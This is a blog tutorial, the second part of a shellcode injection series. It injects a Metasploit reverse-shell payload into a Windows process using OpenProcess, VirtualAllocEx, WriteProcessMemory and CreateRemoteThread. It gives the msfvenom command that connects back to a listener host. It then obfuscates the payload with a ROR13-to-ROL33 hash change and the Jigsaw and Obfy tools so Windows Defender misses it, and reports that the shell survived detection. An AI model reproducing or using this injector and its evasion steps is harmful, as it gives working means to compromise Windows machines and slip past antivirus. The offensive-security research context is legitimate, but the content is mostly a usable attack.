In part 1 of the shellcode injection series, we started a reverse shell from a local process. In part 2, we inject the shellcode directly into a process. This form of injection is usually recognised by Windows Defender, so we will again use some obfuscation methods.
We use a 64-bit shellcode and (with one exception) use the same tools as in part 1. You can download the source code from the Github repository.
Our code should receive the PID of the target process as a parameter at startup. We specify the PID as a parameter OpenProcess
with the return value of the programme handle.
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
Now we reserve a memory area for our shellcode. We achieve this using the function VirtualAllocEx
. We set the authorisation for this memory area with PAGE_EXECUTE_READWRITE
. The area therefore has read, write and execute authorisation.
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof calc_pload, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
In the next step, we write our shellcode to the memory area with WriteProcessMemory
.
WriteProcessMemory(processHandle, remoteBuffer, calc_pload, sizeof calc_pload, NULL);
The last step creates a new thread in the context of the target process and finally executes our shellcode. Here we use the function CreateRemoteThread
.
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
We generate a 64-bit shellcode with msfvenom
which we do not encode any further. The output is binary:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.28.126.97 LPORT=445 -b '\x00\x0d\x0a' -f raw > shell.raw
Metasploit uses ROR13 (Rotate Right 13) to hash system addresses. We turn ROR13 into ROL33 (Rotate Left 33). For this we use a python script, which is in this interesting blog post is explained in more detail:
python3 function_encoder.py --shellcode shell.raw --key 33
A look at the shellcode output helps us to check later whether it is correctly stored in the memory of the target process.
In part 1 I have Jigsaw 1) to disguise the shellcode. However, this alone was not enough, so that the compiled file was recognised directly. Nevertheless, I also used Jigsaw for part 2. We use the code generated by the function_encoder.py
generated file output.bin
.
Jigsaw in connection with Obfy 2) was an immediate success. Windows Defender could no longer recognise the compiled file. I didn't even have to do much. It was enough to use the instructions OBF_BEGIN
and OBF_END
was enough.
This time we're pushing Obfy a little further: the loop that converts our jigsaw code back into shellcode currently looks like this:
for (int sdx = 0; sdx < sizeof(poss) / sizeof(poss[0]); sdx++) { pos = poss[sdx]; calc_pload[pos] = jiggy[sdx];
We use the Obfy templates and create a new loop, which could look like this, for example:
OBF_BEGIN FOR(V(sdx) = N(0), sdx < sizeof(poss) / sizeof(poss[0]), sdx += 1) { pos = poss[sdx]; calc_pload[pos] = jiggy[sdx]; } ENDFOR OBF_END
If we now change the memory of notepad.exe
we find the RWX section, where we are greeted by a familiar shellcode. The PID is different from the one passed above. This is simply due to the different times at which the images were captured.
A direct scan does not detect any threats:
Windows Defender recognises after a while that the process is up to no good and terminates it. Were we not successful?
Yes, we were! The reaction from Windows Defender came too late. It terminates the currently running thread, but the shell still works. Why the Defender reacts so slowly is not clear to me. If anyone knows the answer to this, please post it in the comments.
git clone https://github.com/psycore8/nosoc-shellcode
In the third part, we look at native API calls.